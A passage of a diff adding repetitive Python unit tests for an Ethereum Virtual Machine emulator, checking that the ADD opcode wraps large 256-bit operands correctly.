+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819951L])
+
+    def test_ADD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262L])
+
+    def test_ADD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_ADD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [31L])
+
+    def test_ADD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [47L])
+
+    def test_ADD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718911L])
+
+    def test_ADD_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_ADD_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADD_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADD_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADD_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADD_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADD_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADD_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADD_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADD_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADD_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADD_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_ADD_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_ADD_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADD_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADD_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADD_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADD_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADD_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819951L])
+
+    def test_ADD_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADD_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_ADD_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_ADD_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121215L])
+
+    def test_ADD_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819968L])
+
+    def test_ADD_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_ADD_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000L])
+
+    def test_ADD_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x01'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
